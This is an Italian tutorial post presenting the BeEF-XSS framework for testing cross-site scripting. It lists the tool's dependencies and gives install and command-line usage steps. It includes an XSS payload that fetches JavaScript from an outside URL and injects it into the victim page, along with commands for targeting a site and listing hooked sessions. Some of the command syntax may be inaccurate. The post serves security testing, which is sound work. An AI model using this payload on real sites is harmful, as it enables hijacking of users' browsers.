Beef-XSS è un framework open source che consente agli sviluppatori o pentester di testare la vulnerabilità alle cross-site scripting (XSS) delle loro applicazioni web.
Questo tool è dotato di un interfaccia web per fornire una serie di payloads XSS paragonabili a template che possono essere utilizzati per testare le applicazioni ecc... in pratica creazione di payload personalizzati.
Dipendenze
- adduser
- lsof
- ruby-ansi
- ruby-async-dns
- ruby-dev
- ruby-em-websocket
- ruby-erubis
- ruby-espeak
- ruby-eventmachine
- ruby-execjs
- ruby-json
- ruby-maxmind-db
- ruby-mime-types
- ruby-msfrpc-client
- ruby-otr-activerecord
- ruby-parseconfig
- ruby-qr4r
- ruby-rack
- ruby-rack-protection
- ruby-rubydns
- ruby-rushover
- ruby-sinatra
- ruby-slack-notifier
- ruby-sqlite3
- ruby-term-ansicolor
- ruby-terser
- ruby-twitter
- ruby-xmlrpc
- ruby-zip
- rubygems-integration
- thin
- xdg-utils
Installazione Debian:
- Comando:
sudo apt install beef-xss
Esempio di utilizzo
Beef-XSS può essere utilizzato da terminale, si può utilizzare l'interfaccia a riga di comando (CLI):
./beef-cli
Ora vediamo un esempio di test con payload al nostro forum:
Usiamo "use" per selezionare la modalità "module" e successivamente "exploit/xss/beefjs_script"
use module/exploit/xss/beefjs_script
Un esempio di questo exploit potrebbe essere:<script> function exploit() { var xhr = new XMLHttpRequest(); xhr.open("GET", "https://ethicalhacking.freeflarum.com/exploit", true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var script = document.createElement("script"); script.type = "text/javascript"; script.innerHTML = xhr.responseText; document.getElementsByTagName("head")[0].appendChild(script); } } xhr.send(); } exploit(); </script>
Scriviamo "set" per impostare l'URL del sito web da testare:
set target https://ethicalhacking.freeflarum.com
"run" per eseguire l'exploit e inviare il payload:
run
Per visualizzare le sessioni attive:
sessions -l
Info utili:
root@kali:~# beef-xss -h [-] You are using the Default credentials [-] (Password must be different from "beef") [-] Please type a new password for the beef user:
root@kali:~# beef-xss-stop -h * beef-xss.service - beef-xss Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled) Active: inactive (dead)
Conclusioni
Concludendo credo che questo tool sia molto utile per appunto pentester/sviluppatori per testare la vulnerabilità alle cross-site scripting (XSS) delle PWA. Il framework possiede un'interfaccia web facile da usare per fornire una serie di payloads XSS di default, visto che è abbastanza intuitiva ho evitato di approfondire questa parte.
Importante sottolineare che questo strumento deve essere utilizzato solo in ambienti di test o dove abbiamo il consenso, per il resto cercare di violare PWA è reato!